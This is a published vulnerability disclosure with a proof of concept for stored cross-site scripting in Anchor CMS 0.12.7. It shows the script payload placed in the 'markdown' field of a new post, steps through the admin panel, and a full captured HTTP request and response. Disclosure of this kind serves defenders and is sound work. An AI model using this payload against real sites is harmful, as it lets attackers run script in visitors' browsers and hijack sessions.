Anchor CMS 0.12.7 - 'markdown' Stored Cross-Site Scripting

# Exploit Title: Anchor CMS 0.12.7 - 'markdown' Stored Cross-Site Scripting
# Date: 2021-10-01
# Exploit Author: Ramazan Mert GÖKTEN
# Vendor Homepage: anchorcms.com
# Vulnerable Software: https://github.com/anchorcms/anchor-cms/releases/download/0.12.7/anchor-cms-0.12.7-bundled.zip
# Affected Version: [ 0.12.7 ]
# Tested on: Windows 10

# Vulnerable Parameter Type: POST
# Vulnerable Parameter: markdown
# Attack Pattern: <script>prompt("RMG_XSS_PoC")</script>

# Description

Exploitation of vulnerability as shown below;

1-) Entering the Admin Panel ( vulnerableapplication.com/anchor/admin )
2-) Click Create a new post button at the Posts tab ( From "vulnerableapplication.com/anchor/admin/posts " to "vulnerableapplication.com/anchor/admin/posts/add " )
3-) Relevant payload (<script>prompt("RMG_XSS_PoC")</script>) which was defined above entering the markdown parameter then click "save" button
4-) Finally, turn back the home page then shown the triggered vulnerability

# Proof of Concepts:

Request;

POST /anchor/admin/posts/add HTTP/1.1
Host: vulnerableapplication.com
Connection: close
Content-Length: 234
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://vulnerableapplication.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerableapplication.com/anchor/admin/posts/add
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9
Cookie: anchorcms=eokq2ggm8mc4ulg2ii01a92a7d1jqvof7er085tqp9mvmdk2i3h1;
_ga=GA1.2.798164571.1610282526; _gid=GA1.2.1405266792.1610282526; _gat=1

token=uyBOhuKe5lRACERuFGu9CzEqUVe9b6LgfNLFWA6rJJOjG5BPUr2XxZzUV0pMXiQn&title=xss-poc-test&markdown=%3Cscript%3Eprompt(%22RMG_XSS_PoC%22)%3C%2Fscript%3E&slug=xss-poc-test&description=&status=published&category=8&css=&js=&autosave=false

Response;

HTTP/1.1 200 OK
Date: Sun, 10 Jan 2021 12:50:51 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
X-Robots-Tag: noindex,nofollow
Connection: close
Content-Type: application/json; charset=UTF-8
Content-Length: 105

{"id":"3","notification":"Your new article was
created","redirect":"\/anchor\/admin\/posts\/edit\/3"}